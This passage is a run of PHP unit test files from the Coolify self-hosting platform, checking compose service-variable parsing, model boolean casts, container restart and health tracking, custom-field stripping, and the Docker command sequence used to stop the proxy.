if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
$templateVariableNames[] = $envVarName->value();
}
}
}
expect($templateVariableNames)->toHaveCount(4);
expect($templateVariableNames)->toContain('SERVICE_FQDN_APP');
expect($templateVariableNames)->toContain('SERVICE_FQDN_APP_3000');
expect($templateVariableNames)->toContain('SERVICE_URL_APP');
expect($templateVariableNames)->toContain('SERVICE_URL_APP_8080');
});
it('handles abbreviated service names that differ from container names', function () {
// This is the actual OpenPanel case from GitHub issue #7243
// Container name: openpanel-dashboard
// Template variable: SERVICE_URL_OPDASHBOARD (abbreviated)
$containerName = 'openpanel-dashboard';
$templateVariableName = 'SERVICE_URL_OPDASHBOARD';
// The old logic would generate this from container name:
$generatedFromContainer = 'SERVICE_URL_'.str($containerName)->upper()->replace('-', '_')->value();
// This shows the mismatch
expect($generatedFromContainer)->toBe('SERVICE_URL_OPENPANEL_DASHBOARD');
expect($generatedFromContainer)->not->toBe($templateVariableName);
// The template uses the abbreviated form
expect($templateVariableName)->toBe('SERVICE_URL_OPDASHBOARD');
});
it('correctly identifies abbreviated variable patterns', function () {
$tests = [
// Full name transformations (old logic)
['container' => 'openpanel-dashboard', 'generated' => 'SERVICE_URL_OPENPANEL_DASHBOARD'],
['container' => 'my-long-service', 'generated' => 'SERVICE_URL_MY_LONG_SERVICE'],
// Abbreviated forms (template logic)
['container' => 'openpanel-dashboard', 'template' => 'SERVICE_URL_OPDASHBOARD'],
['container' => 'openpanel-api', 'template' => 'SERVICE_URL_OPAPI'],
['container' => 'my-long-service', 'template' => 'SERVICE_URL_MLS'],
];
foreach ($tests as $test) {
if (isset($test['generated'])) {
$generated = 'SERVICE_URL_'.str($test['container'])->upper()->replace('-', '_')->value();
expect($generated)->toBe($test['generated']);
}
if (isset($test['template'])) {
// Template abbreviations can't be generated from container name
// They must be parsed from the actual template
expect($test['template'])->toMatch('/^SERVICE_URL_[A-Z0-9_]+$/');
}
}
});
it('verifies direct declarations are not confused with references', function () {
// Direct declarations should be detected
$directDeclaration = 'SERVICE_URL_APP';
expect(str($directDeclaration)->startsWith('SERVICE_URL_'))->toBeTrue();
expect(str($directDeclaration)->before('=')->value())->toBe('SERVICE_URL_APP');
// References should not be detected as declarations
$reference = 'NEXT_PUBLIC_URL=${SERVICE_URL_APP}';
$varName = str($reference)->before('=')->trim();
expect($varName->startsWith('SERVICE_URL_'))->toBeFalse();
expect($varName->value())->toBe('NEXT_PUBLIC_URL');
});
it('ensures updateCompose helper file has template parsing logic', function () {
$servicesFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/services.php');
// Check that the fix is in place
expect($servicesFile)->toContain('Extract SERVICE_URL and SERVICE_FQDN variable names from the compose template');
expect($servicesFile)->toContain('to ensure we use the exact names defined in the template');
expect($servicesFile)->toContain('$templateVariableNames');
expect($servicesFile)->toContain('DIRECTLY DECLARED');
expect($servicesFile)->toContain('not variables that are merely referenced from other services');
});
it('verifies that service names are extracted to create both URL and FQDN pairs', function () {
$servicesFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/services.php');
// Verify the logic to create both pairs exists
expect($servicesFile)->toContain('create BOTH SERVICE_URL and SERVICE_FQDN pairs');
expect($servicesFile)->toContain('ALWAYS create base pair');
expect($servicesFile)->toContain('SERVICE_URL_{$serviceName}');
expect($servicesFile)->toContain('SERVICE_FQDN_{$serviceName}');
});
it('extracts service names correctly for pairing', function () {
// Simulate what the updateCompose function does
$templateVariableNames = [
'SERVICE_URL_OPDASHBOARD',
'SERVICE_URL_OPDASHBOARD_3000',
'SERVICE_URL_OPAPI',
];
$serviceNamesToProcess = [];
foreach ($templateVariableNames as $templateVarName) {
$parsed = parseServiceEnvironmentVariable($templateVarName);
$serviceName = $parsed['service_name'];
if (! isset($serviceNamesToProcess[$serviceName])) {
$serviceNamesToProcess[$serviceName] = [
'base' => $serviceName,
'ports' => [],
];
}
if ($parsed['has_port'] && $parsed['port']) {
$serviceNamesToProcess[$serviceName]['ports'][] = $parsed['port'];
}
}
// Should extract 2 unique service names
expect($serviceNamesToProcess)->toHaveCount(2);
expect($serviceNamesToProcess)->toHaveKey('opdashboard');
expect($serviceNamesToProcess)->toHaveKey('opapi');
// OPDASHBOARD should have port 3000 tracked
expect($serviceNamesToProcess['opdashboard']['ports'])->toContain('3000');
// OPAPI should have no ports
expect($serviceNamesToProcess['opapi']['ports'])->toBeEmpty();
});
it('should create both URL and FQDN when only URL is in template', function () {
// Given: Template defines only SERVICE_URL_APP
$templateVar = 'SERVICE_URL_APP';
// When: Processing this variable
$parsed = parseServiceEnvironmentVariable($templateVar);
$serviceName = $parsed['service_name'];
// Then: We should create both:
// - SERVICE_URL_APP (or SERVICE_URL_app depending on template)
// - SERVICE_FQDN_APP (or SERVICE_FQDN_app depending on template)
expect($serviceName)->toBe('app');
$urlKey = 'SERVICE_URL_'.str($serviceName)->upper();
$fqdnKey = 'SERVICE_FQDN_'.str($serviceName)->upper();
expect($urlKey)->toBe('SERVICE_URL_APP');
expect($fqdnKey)->toBe('SERVICE_FQDN_APP');
});
it('should create both URL and FQDN when only FQDN is in template', function () {
// Given: Template defines only SERVICE_FQDN_DATABASE
$templateVar = 'SERVICE_FQDN_DATABASE';
// When: Processing this variable
$parsed = parseServiceEnvironmentVariable($templateVar);
$serviceName = $parsed['service_name'];
// Then: We should create both:
// - SERVICE_URL_DATABASE (or SERVICE_URL_database depending on template)
// - SERVICE_FQDN_DATABASE (or SERVICE_FQDN_database depending on template)
expect($serviceName)->toBe('database');
$urlKey = 'SERVICE_URL_'.str($serviceName)->upper();
$fqdnKey = 'SERVICE_FQDN_'.str($serviceName)->upper();
expect($urlKey)->toBe('SERVICE_URL_DATABASE');
expect($fqdnKey)->toBe('SERVICE_FQDN_DATABASE');
});
it('should create all 4 variables when port-specific variable is in template', function () {
// Given: Template defines SERVICE_URL_UMAMI_3000
$templateVar = 'SERVICE_URL_UMAMI_3000';
// When: Processing this variable
$parsed = parseServiceEnvironmentVariable($templateVar);
$serviceName = $parsed['service_name'];
$port = $parsed['port'];
// Then: We should create all 4:
// 1. SERVICE_URL_UMAMI (base)
// 2. SERVICE_FQDN_UMAMI (base)
// 3. SERVICE_URL_UMAMI_3000 (port-specific)
// 4. SERVICE_FQDN_UMAMI_3000 (port-specific)
expect($serviceName)->toBe('umami');
expect($port)->toBe('3000');
$serviceNameUpper = str($serviceName)->upper();
$baseUrlKey = "SERVICE_URL_{$serviceNameUpper}";
$baseFqdnKey = "SERVICE_FQDN_{$serviceNameUpper}";
$portUrlKey = "SERVICE_URL_{$serviceNameUpper}_{$port}";
$portFqdnKey = "SERVICE_FQDN_{$serviceNameUpper}_{$port}";
expect($baseUrlKey)->toBe('SERVICE_URL_UMAMI');
expect($baseFqdnKey)->toBe('SERVICE_FQDN_UMAMI');
expect($portUrlKey)->toBe('SERVICE_URL_UMAMI_3000');
expect($portFqdnKey)->toBe('SERVICE_FQDN_UMAMI_3000');
});
it('should handle multiple ports for same service', function () {
$templateVariableNames = [
'SERVICE_URL_API_3000',
'SERVICE_URL_API_8080',
];
$serviceNamesToProcess = [];
foreach ($templateVariableNames as $templateVarName) {
$parsed = parseServiceEnvironmentVariable($templateVarName);
$serviceName = $parsed['service_name'];
if (! isset($serviceNamesToProcess[$serviceName])) {
$serviceNamesToProcess[$serviceName] = [
'base' => $serviceName,
'ports' => [],
];
}
if ($parsed['has_port'] && $parsed['port']) {
$serviceNamesToProcess[$serviceName]['ports'][] = $parsed['port'];
}
}
// Should have one service with two ports
expect($serviceNamesToProcess)->toHaveCount(1);
expect($serviceNamesToProcess['api']['ports'])->toHaveCount(2);
expect($serviceNamesToProcess['api']['ports'])->toContain('3000');
expect($serviceNamesToProcess['api']['ports'])->toContain('8080');
// Should create 6 variables total:
// 1. SERVICE_URL_API (base)
// 2. SERVICE_FQDN_API (base)
// 3. SERVICE_URL_API_3000
// 4. SERVICE_FQDN_API_3000
// 5. SERVICE_URL_API_8080
// 6. SERVICE_FQDN_API_8080
});
it('detects SERVICE_URL variables in map-style environment format', function () {
$yaml = <<<'YAML'
services:
trigger:
environment:
SERVICE_URL_TRIGGER_3000: ""
SERVICE_FQDN_DB: localhost
OTHER_VAR: value
YAML;
$dockerCompose = Yaml::parse($yaml);
$serviceConfig = data_get($dockerCompose, 'services.trigger');
$environment = data_get($serviceConfig, 'environment', []);
$templateVariableNames = [];
foreach ($environment as $key => $value) {
if (is_int($key) && is_string($value)) {
// List-style
$envVarName = str($value)->before('=')->trim();
if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
$templateVariableNames[] = $envVarName->value();
}
} elseif (is_string($key)) {
// Map-style
$envVarName = str($key);
if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
$templateVariableNames[] = $envVarName->value();
}
}
}
expect($templateVariableNames)->toHaveCount(2);
expect($templateVariableNames)->toContain('SERVICE_URL_TRIGGER_3000');
expect($templateVariableNames)->toContain('SERVICE_FQDN_DB');
expect($templateVariableNames)->not->toContain('OTHER_VAR');
});
it('handles multiple map-style SERVICE_URL and SERVICE_FQDN variables', function () {
$yaml = <<<'YAML'
services:
app:
environment:
SERVICE_URL_APP_3000: ""
SERVICE_FQDN_API: api.local
SERVICE_URL_WEB: ""
OTHER_VAR: value
YAML;
$dockerCompose = Yaml::parse($yaml);
$serviceConfig = data_get($dockerCompose, 'services.app');
$environment = data_get($serviceConfig, 'environment', []);
$templateVariableNames = [];
foreach ($environment as $key => $value) {
if (is_int($key) && is_string($value)) {
// List-style
$envVarName = str($value)->before('=')->trim();
if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
$templateVariableNames[] = $envVarName->value();
}
} elseif (is_string($key)) {
// Map-style
$envVarName = str($key);
if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
$templateVariableNames[] = $envVarName->value();
}
}
}
expect($templateVariableNames)->toHaveCount(3);
expect($templateVariableNames)->toContain('SERVICE_URL_APP_3000');
expect($templateVariableNames)->toContain('SERVICE_FQDN_API');
expect($templateVariableNames)->toContain('SERVICE_URL_WEB');
expect($templateVariableNames)->not->toContain('OTHER_VAR');
});
it('does not detect SERVICE_URL references in map-style values', function () {
$yaml = <<<'YAML'
services:
app:
environment:
SERVICE_URL_APP_3000: ""
NEXT_PUBLIC_URL: ${SERVICE_URL_APP}
API_ENDPOINT: ${SERVICE_URL_API}
YAML;
$dockerCompose = Yaml::parse($yaml);
$serviceConfig = data_get($dockerCompose, 'services.app');
$environment = data_get($serviceConfig, 'environment', []);
$templateVariableNames = [];
foreach ($environment as $key => $value) {
if (is_int($key) && is_string($value)) {
// List-style
$envVarName = str($value)->before('=')->trim();
if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
$templateVariableNames[] = $envVarName->value();
}
} elseif (is_string($key)) {
// Map-style
$envVarName = str($key);
if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
$templateVariableNames[] = $envVarName->value();
}
}
}
// Should only detect the direct declaration, not references in values
expect($templateVariableNames)->toHaveCount(1);
expect($templateVariableNames)->toContain('SERVICE_URL_APP_3000');
expect($templateVariableNames)->not->toContain('SERVICE_URL_APP');
expect($templateVariableNames)->not->toContain('SERVICE_URL_API');
expect($templateVariableNames)->not->toContain('NEXT_PUBLIC_URL');
expect($templateVariableNames)->not->toContain('API_ENDPOINT');
});
it('handles map-style with abbreviated service names', function () {
// Simulating the langfuse.yaml case with map-style
$yaml = <<<'YAML'
services:
langfuse:
environment:
SERVICE_URL_LANGFUSE_3000: ${SERVICE_URL_LANGFUSE_3000}
DATABASE_URL: postgres://...
YAML;
$dockerCompose = Yaml::parse($yaml);
$serviceConfig = data_get($dockerCompose, 'services.langfuse');
$environment = data_get($serviceConfig, 'environment', []);
$templateVariableNames = [];
foreach ($environment as $key => $value) {
if (is_int($key) && is_string($value)) {
// List-style
$envVarName = str($value)->before('=')->trim();
if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
$templateVariableNames[] = $envVarName->value();
}
} elseif (is_string($key)) {
// Map-style
$envVarName = str($key);
if ($envVarName->startsWith('SERVICE_FQDN_') || $envVarName->startsWith('SERVICE_URL_')) {
$templateVariableNames[] = $envVarName->value();
}
}
}
expect($templateVariableNames)->toHaveCount(1);
expect($templateVariableNames)->toContain('SERVICE_URL_LANGFUSE_3000');
expect($templateVariableNames)->not->toContain('DATABASE_URL');
});
it('verifies updateCompose helper has dual-format handling', function () {
$servicesFile = file_get_contents(__DIR__.'/../../bootstrap/helpers/services.php');
// Check that both formats are handled
expect($servicesFile)->toContain('is_int($key) && is_string($value)');
expect($servicesFile)->toContain('List-style');
expect($servicesFile)->toContain('elseif (is_string($key))');
expect($servicesFile)->toContain('Map-style');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationNetworkAliasesSyncTest.php | tests/Unit/ApplicationNetworkAliasesSyncTest.php | <?php
use App\Models\Application;
/**
* Unit test to verify custom_network_aliases conversion from array to string.
*
* The issue: Application model's accessor returns an array, but the Livewire
* component property is typed as ?string for the text input field.
* The conversion happens in mount() after syncFromModel().
*/
it('converts array aliases to comma-separated string', function () {
// Test that an array is correctly converted to a string
$aliases = ['api.internal', 'api.local'];
$result = implode(',', $aliases);
expect($result)->toBe('api.internal,api.local')
->and($result)->toBeString();
});
it('handles null aliases', function () {
// Test that null remains null
$aliases = null;
if (is_array($aliases)) {
$result = implode(',', $aliases);
} else {
$result = $aliases;
}
expect($result)->toBeNull();
});
it('handles empty array aliases', function () {
// Test that empty array becomes empty string
$aliases = [];
$result = implode(',', $aliases);
expect($result)->toBe('')
->and($result)->toBeString();
});
it('handles single alias', function () {
// Test that single-element array is converted correctly
$aliases = ['api.internal'];
$result = implode(',', $aliases);
expect($result)->toBe('api.internal')
->and($result)->toBeString();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ApplicationSettingStaticCastTest.php | tests/Unit/ApplicationSettingStaticCastTest.php | <?php
/**
* Tests for ApplicationSetting model boolean casting
*
* NOTE: These tests verify that the is_static field properly casts to boolean.
* The fix changes $cast to $casts to enable proper Laravel boolean casting.
*/
use App\Models\ApplicationSetting;
it('casts is_static to boolean when true', function () {
$setting = new ApplicationSetting;
$setting->is_static = true;
// Verify it's cast to boolean
expect($setting->is_static)->toBeTrue()
->and($setting->is_static)->toBeBool();
});
it('casts is_static to boolean when false', function () {
$setting = new ApplicationSetting;
$setting->is_static = false;
// Verify it's cast to boolean
expect($setting->is_static)->toBeFalse()
->and($setting->is_static)->toBeBool();
});
it('casts is_static from string "1" to boolean true', function () {
$setting = new ApplicationSetting;
$setting->is_static = '1';
// Should cast string to boolean
expect($setting->is_static)->toBeTrue()
->and($setting->is_static)->toBeBool();
});
it('casts is_static from string "0" to boolean false', function () {
$setting = new ApplicationSetting;
$setting->is_static = '0';
// Should cast string to boolean
expect($setting->is_static)->toBeFalse()
->and($setting->is_static)->toBeBool();
});
it('casts is_static from integer 1 to boolean true', function () {
$setting = new ApplicationSetting;
$setting->is_static = 1;
// Should cast integer to boolean
expect($setting->is_static)->toBeTrue()
->and($setting->is_static)->toBeBool();
});
it('casts is_static from integer 0 to boolean false', function () {
$setting = new ApplicationSetting;
$setting->is_static = 0;
// Should cast integer to boolean
expect($setting->is_static)->toBeFalse()
->and($setting->is_static)->toBeBool();
});
it('has casts array property defined correctly', function () {
$setting = new ApplicationSetting;
// Verify the casts property exists and is configured
$casts = $setting->getCasts();
expect($casts)->toHaveKey('is_static')
->and($casts['is_static'])->toBe('boolean');
});
it('casts all boolean fields correctly', function () {
$setting = new ApplicationSetting;
// Get all casts
$casts = $setting->getCasts();
// Verify all expected boolean fields are cast
$expectedBooleanCasts = [
'is_static',
'is_spa',
'is_build_server_enabled',
'is_preserve_repository_enabled',
'is_container_label_escape_enabled',
'is_container_label_readonly_enabled',
'use_build_secrets',
'is_auto_deploy_enabled',
'is_force_https_enabled',
'is_debug_enabled',
'is_preview_deployments_enabled',
'is_pr_deployments_public_enabled',
'is_git_submodules_enabled',
'is_git_lfs_enabled',
'is_git_shallow_clone_enabled',
];
foreach ($expectedBooleanCasts as $field) {
expect($casts)->toHaveKey($field)
->and($casts[$field])->toBe('boolean');
}
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/RestartCountTrackingTest.php | tests/Unit/RestartCountTrackingTest.php | <?php
use App\Models\Application;
use App\Models\Server;
beforeEach(function () {
// Mock server
$this->server = Mockery::mock(Server::class);
$this->server->shouldReceive('isFunctional')->andReturn(true);
$this->server->shouldReceive('isSwarm')->andReturn(false);
$this->server->shouldReceive('applications')->andReturn(collect());
// Mock application
$this->application = Mockery::mock(Application::class);
$this->application->shouldReceive('getAttribute')->with('id')->andReturn(1);
$this->application->shouldReceive('getAttribute')->with('name')->andReturn('test-app');
$this->application->shouldReceive('getAttribute')->with('restart_count')->andReturn(0);
$this->application->shouldReceive('getAttribute')->with('uuid')->andReturn('test-uuid');
$this->application->shouldReceive('getAttribute')->with('environment')->andReturn(null);
});
it('extracts restart count from container data', function () {
$containerData = [
'RestartCount' => 5,
'State' => [
'Status' => 'running',
'Health' => ['Status' => 'healthy'],
],
'Config' => [
'Labels' => [
'coolify.applicationId' => '1',
'com.docker.compose.service' => 'web',
],
],
];
$restartCount = data_get($containerData, 'RestartCount', 0);
expect($restartCount)->toBe(5);
});
it('defaults to zero when restart count is missing', function () {
$containerData = [
'State' => [
'Status' => 'running',
],
'Config' => [
'Labels' => [],
],
];
$restartCount = data_get($containerData, 'RestartCount', 0);
expect($restartCount)->toBe(0);
});
it('detects restart count increase', function () {
$previousRestartCount = 2;
$currentRestartCount = 5;
expect($currentRestartCount)->toBeGreaterThan($previousRestartCount);
});
it('identifies maximum restart count from multiple containers', function () {
$containerRestartCounts = collect([
'web' => 3,
'worker' => 5,
'scheduler' => 1,
]);
$maxRestartCount = $containerRestartCounts->max();
expect($maxRestartCount)->toBe(5);
});
it('handles empty restart counts collection', function () {
$containerRestartCounts = collect([]);
$maxRestartCount = $containerRestartCounts->max() ?? 0;
expect($maxRestartCount)->toBe(0);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/StripCoolifyCustomFieldsTest.php | tests/Unit/StripCoolifyCustomFieldsTest.php | <?php
use function PHPUnit\Framework\assertEquals;
test('removes exclude_from_hc from service level', function () {
$yaml = [
'services' => [
'web' => [
'image' => 'nginx:latest',
'exclude_from_hc' => true,
'ports' => ['80:80'],
],
],
];
$result = stripCoolifyCustomFields($yaml);
assertEquals('nginx:latest', $result['services']['web']['image']);
assertEquals(['80:80'], $result['services']['web']['ports']);
expect($result['services']['web'])->not->toHaveKey('exclude_from_hc');
});
test('removes content from volume level', function () {
$yaml = [
'services' => [
'app' => [
'image' => 'php:8.4',
'volumes' => [
[
'type' => 'bind',
'source' => './config.xml',
'target' => '/app/config.xml',
'content' => '<?xml version="1.0"?><config></config>',
],
],
],
],
];
$result = stripCoolifyCustomFields($yaml);
expect($result['services']['app']['volumes'][0])->toHaveKeys(['type', 'source', 'target']);
expect($result['services']['app']['volumes'][0])->not->toHaveKey('content');
});
test('removes isDirectory from volume level', function () {
$yaml = [
'services' => [
'app' => [
'image' => 'node:20',
'volumes' => [
[
'type' => 'bind',
'source' => './data',
'target' => '/app/data',
'isDirectory' => true,
],
],
],
],
];
$result = stripCoolifyCustomFields($yaml);
expect($result['services']['app']['volumes'][0])->toHaveKeys(['type', 'source', 'target']);
expect($result['services']['app']['volumes'][0])->not->toHaveKey('isDirectory');
});
test('removes is_directory from volume level', function () {
$yaml = [
'services' => [
'app' => [
'image' => 'python:3.12',
'volumes' => [
[
'type' => 'bind',
'source' => './logs',
'target' => '/var/log/app',
'is_directory' => true,
],
],
],
],
];
$result = stripCoolifyCustomFields($yaml);
expect($result['services']['app']['volumes'][0])->toHaveKeys(['type', 'source', 'target']);
expect($result['services']['app']['volumes'][0])->not->toHaveKey('is_directory');
});
test('removes all custom fields together', function () {
$yaml = [
'services' => [
'web' => [
'image' => 'nginx:latest',
'exclude_from_hc' => true,
'volumes' => [
[
'type' => 'bind',
'source' => './config.xml',
'target' => '/etc/nginx/config.xml',
'content' => '<config></config>',
'isDirectory' => false,
],
[
'type' => 'bind',
'source' => './data',
'target' => '/var/www/data',
'is_directory' => true,
],
],
],
'worker' => [
'image' => 'worker:latest',
'exclude_from_hc' => true,
],
],
];
$result = stripCoolifyCustomFields($yaml);
// Verify service-level custom fields removed
expect($result['services']['web'])->not->toHaveKey('exclude_from_hc');
expect($result['services']['worker'])->not->toHaveKey('exclude_from_hc');
// Verify volume-level custom fields removed
expect($result['services']['web']['volumes'][0])->not->toHaveKey('content');
expect($result['services']['web']['volumes'][0])->not->toHaveKey('isDirectory');
expect($result['services']['web']['volumes'][1])->not->toHaveKey('is_directory');
// Verify standard fields preserved
assertEquals('nginx:latest', $result['services']['web']['image']);
assertEquals('worker:latest', $result['services']['worker']['image']);
});
test('preserves standard Docker Compose fields', function () {
$yaml = [
'services' => [
'db' => [
'image' => 'postgres:16',
'environment' => [
'POSTGRES_DB' => 'mydb',
'POSTGRES_USER' => 'user',
],
'ports' => ['5432:5432'],
'volumes' => [
'db-data:/var/lib/postgresql/data',
],
'healthcheck' => [
'test' => ['CMD', 'pg_isready'],
'interval' => '5s',
],
'restart' => 'unless-stopped',
'networks' => ['backend'],
],
],
'networks' => [
'backend' => [
'driver' => 'bridge',
],
],
'volumes' => [
'db-data' => null,
],
];
$result = stripCoolifyCustomFields($yaml);
// All standard fields should be preserved
expect($result)->toHaveKeys(['services', 'networks', 'volumes']);
expect($result['services']['db'])->toHaveKeys([
'image', 'environment', 'ports', 'volumes',
'healthcheck', 'restart', 'networks',
]);
assertEquals('postgres:16', $result['services']['db']['image']);
assertEquals(['5432:5432'], $result['services']['db']['ports']);
});
test('handles missing services gracefully', function () {
$yaml = [
'version' => '3.8',
];
$result = stripCoolifyCustomFields($yaml);
expect($result)->toBe($yaml);
});
test('handles missing volumes in service gracefully', function () {
$yaml = [
'services' => [
'app' => [
'image' => 'nginx:latest',
'exclude_from_hc' => true,
],
],
];
$result = stripCoolifyCustomFields($yaml);
expect($result['services']['app'])->not->toHaveKey('exclude_from_hc');
expect($result['services']['app'])->not->toHaveKey('volumes');
assertEquals('nginx:latest', $result['services']['app']['image']);
});
test('handles traccar.yaml example with multiline content', function () {
$yaml = [
'services' => [
'traccar' => [
'image' => 'traccar/traccar:latest',
'volumes' => [
[
'type' => 'bind',
'source' => './srv/traccar/conf/traccar.xml',
'target' => '/opt/traccar/conf/traccar.xml',
'content' => "<?xml version='1.0' encoding='UTF-8'?>\n<!DOCTYPE properties SYSTEM 'http://java.sun.com/dtd/properties.dtd'>\n<properties>\n <entry key='config.default'>./conf/default.xml</entry>\n</properties>",
],
],
],
],
];
$result = stripCoolifyCustomFields($yaml);
expect($result['services']['traccar']['volumes'][0])->toHaveKeys(['type', 'source', 'target']);
expect($result['services']['traccar']['volumes'][0])->not->toHaveKey('content');
assertEquals('./srv/traccar/conf/traccar.xml', $result['services']['traccar']['volumes'][0]['source']);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/StopProxyTest.php | tests/Unit/StopProxyTest.php | <?php
// Test the proxy stop container cleanup logic
it('ensures stop proxy includes wait loop for container removal', function () {
// This test verifies that StopProxy waits for container to be fully removed
// to prevent race conditions during restart operations
// Simulate the command sequence from StopProxy
$commands = [
'docker stop -t 30 coolify-proxy 2>/dev/null || true',
'docker rm -f coolify-proxy 2>/dev/null || true',
'# Wait for container to be fully removed',
'for i in {1..10}; do',
' if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"; then',
' break',
' fi',
' sleep 1',
'done',
];
$commandsString = implode("\n", $commands);
// Verify the stop sequence includes all required components
expect($commandsString)->toContain('docker stop -t 30 coolify-proxy')
->and($commandsString)->toContain('docker rm -f coolify-proxy')
->and($commandsString)->toContain('for i in {1..10}; do')
->and($commandsString)->toContain('if ! docker ps -a --format "{{.Names}}" | grep -q "^coolify-proxy$"')
->and($commandsString)->toContain('break')
->and($commandsString)->toContain('sleep 1');
// Verify order: stop before remove, and wait loop after remove
$stopPosition = strpos($commandsString, 'docker stop');
$removePosition = strpos($commandsString, 'docker rm -f');
$waitLoopPosition = strpos($commandsString, 'for i in {1..10}');
expect($stopPosition)->toBeLessThan($removePosition)
->and($removePosition)->toBeLessThan($waitLoopPosition);
});
it('includes error suppression in stop proxy commands', function () {
// Test that stop/remove commands suppress errors gracefully
$commands = [
'docker stop -t 30 coolify-proxy 2>/dev/null || true',
'docker rm -f coolify-proxy 2>/dev/null || true',
];
foreach ($commands as $command) {
expect($command)->toContain('2>/dev/null || true');
}
});
it('uses configurable timeout for docker stop', function () {
// Verify that stop command includes the timeout parameter
$timeout = 30;
$stopCommand = "docker stop -t $timeout coolify-proxy 2>/dev/null || true";
expect($stopCommand)->toContain('-t 30');
});
it('waits for swarm service container removal correctly', function () {
// Test that the container name pattern matches swarm naming
$containerName = 'coolify-proxy_traefik';
$checkCommand = " if ! docker ps -a --format \"{{.Names}}\" | grep -q \"^$containerName$\"; then";
expect($checkCommand)->toContain('coolify-proxy_traefik');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/ContainerHealthStatusTest.php | tests/Unit/ContainerHealthStatusTest.php | <?php
use App\Models\Application;
use Mockery;
/**
* Unit tests to verify that containers without health checks are not
* incorrectly marked as unhealthy.
*
* This tests the fix for the issue where defaulting missing health status
* to 'unhealthy' would treat containers without healthchecks as unhealthy.
*
* The fix removes the 'unhealthy' default and only checks health status
* when it explicitly exists and equals 'unhealthy'.
*/
it('does not mark containers as unhealthy when health status is missing', function () {
// Mock an application with a server
$application = Mockery::mock(Application::class)->makePartial();
$server = Mockery::mock('App\Models\Server')->makePartial();
$destination = Mockery::mock('App\Models\StandaloneDocker')->makePartial();
$destination->shouldReceive('getAttribute')
->with('server')
->andReturn($server);
$application->shouldReceive('getAttribute')
->with('destination')
->andReturn($destination);
$application->shouldReceive('getAttribute')
->with('additional_servers')
->andReturn(collect());
$server->shouldReceive('getAttribute')
->with('id')
->andReturn(1);
$server->shouldReceive('isFunctional')
->andReturn(true);
// Create a container without health check (State.Health.Status is null)
$containerWithoutHealthCheck = [
'Config' => [
'Labels' => [
'com.docker.compose.service' => 'web',
],
],
'State' => [
'Status' => 'running',
// Note: State.Health.Status is intentionally missing
],
];
// Mock the remote process to return our container
$application->shouldReceive('getAttribute')
->with('id')
->andReturn(123);
// We can't easily test the private aggregateContainerStatuses method directly,
// but we can verify that the code doesn't default to 'unhealthy'
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
// Verify the fix: health status should not default to 'unhealthy'
expect($aggregatorFile)
->not->toContain("data_get(\$container, 'State.Health.Status', 'unhealthy')")
->toContain("data_get(\$container, 'State.Health.Status')");
// Verify the health check logic
expect($aggregatorFile)
->toContain('if ($health === \'unhealthy\') {');
});
it('only marks containers as unhealthy when health status explicitly equals unhealthy', function () {
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
// Verify the service checks for explicit 'unhealthy' status
expect($aggregatorFile)
->toContain('if ($health === \'unhealthy\') {')
->toContain('$hasUnhealthy = true;');
});
it('handles missing health status correctly in GetContainersStatus', function () {
$getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
// Verify health status doesn't default to 'unhealthy'
expect($getContainersStatusFile)
->not->toContain("data_get(\$container, 'State.Health.Status', 'unhealthy')")
->toContain("data_get(\$container, 'State.Health.Status')");
// Verify it uses 'unknown' when health status is missing (now using colon format)
expect($getContainersStatusFile)
->toContain('$healthSuffix = $containerHealth ?? \'unknown\';')
->toContain('ContainerStatusAggregator'); // Uses the service
});
it('treats containers with running status and no healthcheck as not unhealthy', function () {
$aggregatorFile = file_get_contents(__DIR__.'/../../app/Services/ContainerStatusAggregator.php');
// The logic should be:
// 1. Get health status (may be null)
// 2. Only mark as unhealthy if health status EXISTS and equals 'unhealthy'
// 3. Don't mark as unhealthy if health status is null/missing
// Verify the condition explicitly checks for unhealthy
expect($aggregatorFile)
->toContain('if ($health === \'unhealthy\')');
// Verify this check is done for running containers
